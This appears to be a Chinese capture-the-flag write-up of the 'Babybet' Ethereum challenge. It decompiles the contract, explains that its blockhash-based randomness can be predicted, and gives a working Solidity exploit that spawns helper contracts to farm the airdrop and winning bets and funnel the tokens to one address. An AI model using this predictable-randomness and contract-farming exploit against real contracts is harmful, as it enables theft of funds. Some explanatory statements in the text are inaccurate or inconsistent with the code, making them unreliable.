強(qiáng)網(wǎng)杯區(qū)塊鏈題目--Babybet深入分析

一、前言

前文介紹了強(qiáng)網(wǎng)杯區(qū)塊鏈第一道題目,本文將對第二道題目Babybet進(jìn)行深入分析。在比賽過程中,該題目并沒有許多人做出,相比于第一題來說本題目并沒有增加很大的難度,只是利用方法不同。本題目與第一道題目利用過程都很復(fù)雜,第一題需要不斷建立b1b1的賬戶,而本題目需要我們不斷進(jìn)行循環(huán)函數(shù)調(diào)用。

下面看我們詳細(xì)的分析。

二、題目分析

同第一題一樣,該問題給出合約地址以及部分合約文件。

0x5d1beefd4de611caff204e1a318039324575599a@ropsten,請使用自己隊(duì)伍的token獲取flag,否則flag無效

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
...

該合約包括余額變量與status變量,且包括發(fā)送flag事件。在發(fā)送flag函數(shù)中,語句要求函數(shù)調(diào)用者的余額>=1000000。且當(dāng)函數(shù)調(diào)用方不是owner時便會將余額賦值為0,并觸發(fā)事件。

當(dāng)然給出的合約中并沒有更多有價值的地方,所以我們還是需要選擇進(jìn)行逆向操作。

https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a

逆向得到關(guān)鍵函數(shù):

    function status(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
    
    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x0a;
        memory[0x20:0x40] = 0x01;
        storage[keccak256(memory[0x00:0x40])] = 0x01;
    }
    
    function bet(var arg0) {
        var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;
    
        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    
        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;
    
        if (var1 != arg0) {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;
            return;
        }
    }
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
    
    function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }
}

下面我們詳細(xì)對這些函數(shù)進(jìn)行分析:

首先是profit()函數(shù)。看到此函數(shù)我們就應(yīng)該立刻想到為空投函數(shù),該函數(shù)需要滿足status = 0,且當(dāng)調(diào)用此函數(shù)后,用戶余額會增加10 ,且status將變?yōu)? 。簡單來說,這種函數(shù)只能夠調(diào)用一次。

下面是bet函數(shù),該函數(shù)為合約的關(guān)鍵點(diǎn)。

 var var0 = 0x00;
        memory[var0:var0 + 0x20] = msg.sender;
        memory[0x20:0x40] = var0;
        var var1 = var0;
        if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }

該語句表示調(diào)用函數(shù)的賬戶的余額需要滿足<=10,否則無法調(diào)用。

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
        if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

該語句表示用戶的status需要滿足<2。

當(dāng)滿足上述兩個條件后,合約將計(jì)算一個隨機(jī)數(shù):

        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + ~0x09;
        var0 = block.blockHash(block.number + ~0x00);
        var1 = var0 % 0x03;

該隨機(jī)數(shù)用正常表示如下:

        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

由于調(diào)用bet函數(shù)需要用戶傳入一個參數(shù)arg0。當(dāng)arg0不等于隨機(jī)數(shù)時,合約直接將status設(shè)置為2 。否則將執(zhí)行關(guān)鍵過程,即讓用戶的余額+1000元。

            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x00;
            var temp1 = keccak256(memory[0x00:0x40]);
            storage[temp1] = storage[temp1] + 0x03e8;
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x01;
            storage[keccak256(memory[0x00:0x40])] = 0x02;

并將status賦值為2 。此處的status為2后,則表示用戶無法再次調(diào)用bet函數(shù),所以這個函數(shù)只能被使用一次。

之后我們分析一個無法解析出名字的函數(shù) :func_048F()

    
    function func_048F(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        var temp1 = arg1;
        storage[temp0] = storage[temp0] - temp1;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = temp1 + storage[temp2];
    }

該函數(shù)傳入兩個參數(shù)并滿足arg1需要大于余額,這也就是很明顯的轉(zhuǎn)賬函數(shù)。之后賬戶余額減少并使收款方余額增加。

基本上該合約的關(guān)鍵函數(shù)到此就分析結(jié)束,那么我們?nèi)绾芜M(jìn)行攻擊呢?如何才能獲取到100w的代幣?

我們發(fā)現(xiàn)合約中唯一能獲得錢的函數(shù)為bet。且只有1000塊。所以我們可以使用薅羊毛的做法進(jìn)行轉(zhuǎn)賬。我們的合約中存在打賭函數(shù)與轉(zhuǎn)賬函數(shù),所以我們的假設(shè)完全滿足。

我們知道,區(qū)塊鏈中如果不調(diào)用第三方庫那么便不會存在真正的隨機(jī)數(shù),此合約的隨機(jī)數(shù)便可以被預(yù)測。

即我們可以使用如下函數(shù)來達(dá)到與合約相同的隨機(jī)數(shù)預(yù)測:

        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;

之后我們傳入此隨機(jī)數(shù)便可以獲取到1000 。

于是我們一個羊應(yīng)該包括如下步驟:

target.profit();——>target.bet(guess1);——>transfer。下章中我們詳細(xì)進(jìn)行分析。

三、攻擊復(fù)現(xiàn)

攻擊合約如下:

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }

    function balance(address a) returns (uint b) {
  
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    function profit() {}
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function bet(uint num) {}
}

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=100;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
        }
}

}

我們進(jìn)行函數(shù)的測試,看看是否可以真正預(yù)測隨機(jī)數(shù)。我們調(diào)用midContract中的process。

image.png

看到目前合約中的余額和status均為0 。調(diào)用函數(shù)后得到:

image.png

說明我們隨機(jī)數(shù)預(yù)測成功,那么后面就非常簡單了,即將process函數(shù)封裝并調(diào)用轉(zhuǎn)賬函數(shù)將合約中的1000轉(zhuǎn)給一個賬戶。

            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);

上述合約調(diào)用1000次即可。

image.png

調(diào)用后余額清空:

image.png

得到flag。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容